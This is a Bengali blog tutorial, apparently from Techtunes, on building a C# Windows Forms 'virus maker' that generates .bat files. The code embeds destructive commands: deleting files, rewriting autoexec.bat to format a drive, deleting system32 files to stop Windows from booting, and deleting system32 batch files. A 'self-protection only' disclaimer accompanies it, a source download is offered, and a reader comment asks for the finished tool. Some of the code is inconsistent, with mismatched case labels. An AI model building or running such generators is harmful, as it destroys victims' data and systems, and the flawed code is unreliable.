সি শার্প প্রোজেক্ট [পর্ব-১৬] :: তৈরি করুন ভাইরাস মেকার

সি শার্প প্রোজেক্ট

প্রিয় সি-শার্প শিক্ষার্থী অনেক দিন পর আবার লিখতে বসলাম শুধু আপনাদের নতুন কিছু উপহার দেবো বলে। সবাইকে শুভেচ্ছা জানিয়ে শুরু করছি। আজ আমরা শিখবো কি ভাবে একটা .bat ফাইল বা ভাইরাস creator তৈরি করা যায়। অর্থাৎ আমরা আজ এমন একটি প্রোগ্রাম তৈরি করবো যা দ্বারা ভাইরাস বা অটোরান তৈরি করে। তবে আগেই বলে রাখি। এই প্রোগ্রামটি কোন খারাপ উদ্দেশে ব্যবহার করবেন না। এটি আপনাদের শিখাব শুধু নিজেকে রক্ষা করার জন্য। যদি কেউ খারাপ উদ্দেশে ব্যবহার করেন তবে তার জন্য সে নিজেই দায়ি থাকবেন। আমি বা আমার ব্লগ বা আমার টিউন

কোন ভাবেই দায়ী থাকবে না।

চলুন তবে শুরু করা যাক।
ধাপ ০১
  • Open Visual Studio 2010
  • "File" -> "New" -> "Project..."
  • Choose "Template" -> "Visual C#" -> "Windows Form Application "
একটি ফরম ওপেন হবে। এখন ফরম এর নাম পরিবর্তন করে frmMain লিখি। এই ফরম এ একটি বাটন যোগ করি এবং এর টেক্সট পরিবর্তন করে “create” লিখি। এবার একটি টেক্সটবক্স এড করি এবং এর নাম পরিবর্তন করে “txtName” লিখি।
এবার একটি ComboBox যোগ করি। আবার টুলবক্স থেকে একটি RichText Box যোগ করি এবং এর নাম পরিবর্তন করে “txtMain” লিখি।
এখন ফরমটিকে নিচের ছবির মত ডিজাইন করি।

 
এখন প্রোজেক্ট এ আর একটি ফরম যোগ করতে হবে। আজ আর নতুন করে দেখালাম না কি ভাবে ফরম এড করতে হবে। এই লিঙ্ক থেকে দেখে নিতে পারেন। দ্বিতীয় ফরম এর নাম দিন “frmCode”।
এখন দ্বিতীয় ফরম এ একটি text box যোগ করি এবং txt1 নাম দেই. এবার একটি command button যোগ করি এবং btnWrite নাম দেই।
এখন নিচের ছবির মতো ডিজাইন করি।
 
এখন আমরা প্রথম ফরম অর্থাৎ frmMain এর কোড উইন্ডোতে কোড লিখবো।
তাহলে প্রথম ফরম এ যান এবং comboBox1 এর উপর ডাবল ক্লিক করে তার SelectedIndexChanged ইভেন্ট এ নিচের কোড লিখি
            frmCode frmcode = new frmCode(comboBox1.SelectedItem.ToString());
            frmcode.Owner = this;
            frmcode.ShowDialog();
এখন প্রথম ফরম এর বাটন এর ক্লিক ইভেন্ট এ নিচের কোড লিখি।
            if (txtName.Text != "")
            {
                txtMain.SaveFile(txtName.Text + ".bat",RichTextBoxStreamType.TextTextOleObjs);
                Application.Exit();
            }
            else
            {
                MessageBox.Show("Please Write The Name File");
            }
আমাদের প্রথম ফরম এর কাজ শেষ হোল। কোড লেখার পর কোড উইন্ডো নিচের মতো দেখাবে
 
এখন আমরা দ্বিতীয় ফরম অর্থাৎ frmCode এর কোড উইন্ডোতে কোড লিখবো। তাহলে frmCode এর কোড উইন্ডো এর মধ্যে
    public partial class frmCode : Form
    {
এই কোডটুকু এর কেবলই নিচে নিচের কোড টুকু লিখি
        private string Model;
        private string Code;
        private void Edit(string _model)
        {
            switch (_model)
            {
                case "Delete":
                    Code = "del " + txt1.Text; ;
                    break;
                case "Format Drive":
                    Code = "@ echo off " + "\n" +
                        "call attrib -r -h " + txt1.Text + ":autoexec.bat > nul:" + "\n" +
                        "echo @echo off > " + txt1.Text + ":autoexec.bat" + "\n" +
                        "echo format /autotest " + txt1.Text + ":/q > nul >> " + txt1.Text + ":autoexec.bat" + "\n" +
                        "call attrib +r +h " + txt1.Text + ":autoexec.bat > nul" + "\n" +
                        "exit";
                    break;
                case "Not Start Win":
                    Code = "del %systemroot%/system32/hall.dll";
                    break;
                case "Delete ControlPanel (98 or XP)":
                    Code = @"del %systemroot%\system32\*.bat";
                    break;
            }
        }
        public frmCode(string ModelCode)
        {
            Model = ModelCode;
            InitializeComponent();
        }
        private void frmCode_Load(object sender, EventArgs e)
        {
            switch (Model)
            {
                case "Delete":
                    txt1.Enabled = true;
                    break;
                case "Format Drive":
                    txt1.Enabled = true;
                    break;
                case "Not Start Windows":
                    label1.Enabled = false;
                    label2.Enabled = false;
                    txt1.Enabled = false;
                    break;
                case "Delete ControlPanel (98 or XP)":
                    label1.Enabled = false;
                    label2.Enabled = false;
                    txt1.Enabled = false;
                    break;
            }
        }
এখন ফরম এর Load Event এর মধ্যে নিচের কোডগুলো লিখি
            switch (Model)
            {
                case "Delete":
                    txt1.Enabled = true;
                    break;
                case "Format Drive":
                    txt1.Enabled = true;
                    break;
                case "Not Start Windows":
                    label1.Enabled = false;
                    label2.Enabled = false;
                    txt1.Enabled = false;
                    break;
                case "Delete ControlPanel (98 or XP)":
                    label1.Enabled = false;
                    label2.Enabled = false;
                    txt1.Enabled = false;
                    break;
            }
একইভাবে ফরম এর বাটন এর click event এর মধ্যে একই কথা লিখি।
            Edit(Model);
            frmMain frmmain = new frmMain();
            frmmain = (frmMain)this.Owner;
            if (frmmain.txtMain.Text != "")
            {
                frmmain.txtMain.Text += "\n" + Code;
            }
            else
            {
                frmmain.txtMain.Text += Code;
            }
            this.Close();
আমাদের কোডিং এর কাজ শেষ হলো। এখন আমাদের প্রোগ্রামটি চালাতে হবে। তো এখন key-board থেকে F5 চেপে প্রোগ্রামটি রান করুন।
সোর্স কোডটি ডাউনলোড করুন।
সবাইকে  ধন্যবাদ। ভালো লাগলে অবশ্যই জানাবেন।
আর যদি বুজতে না পারেন তবে ফেসবুক । যত দ্রুত সম্ভব আপনার উত্তর দেয়ার চেষ্টা করবো।

 প্রথম প্রকাশিত এখানে

Level 2

আমি ইসলাম আমিনুল। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 12 বছর 7 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 32 টি টিউন ও 27 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 4 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

আপনি কি আপনার তৈরি করা Virus maker টা একটু দিতে পারবেন?আমি C# এ একটু দুর্বল…